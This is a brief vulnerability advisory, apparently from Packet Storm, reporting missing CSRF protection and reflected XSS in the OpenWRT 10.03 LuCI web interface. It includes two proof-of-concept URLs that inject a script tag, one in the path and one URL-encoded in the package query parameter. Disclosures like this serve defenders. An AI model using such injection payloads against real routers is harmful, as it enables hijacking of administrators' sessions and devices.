OpenWRT version 10.03 suffers from cross site request forgery and cross site scripting vulnerabilities.
b115bd075195c7cb5ad153f831f8e76cThe openwrt 10.03 webinterface seems to have no protection against csrf...
In addition, the following xss can be used against the webinterface:
1. (nearly any page) e.g.
http://192.168.0.1/cgi-bin/luci/;stok=d/admin/network/network/"/><script>alert(1);</script>
2. the query for packages e.g.
http://192.168.0.1/cgi-bin/luci/;stok=d/admin/system/packages?query=%22%2F%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&submit=OK
--
Small things make base men proud. -- William Shakespeare, "Henry VI"
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!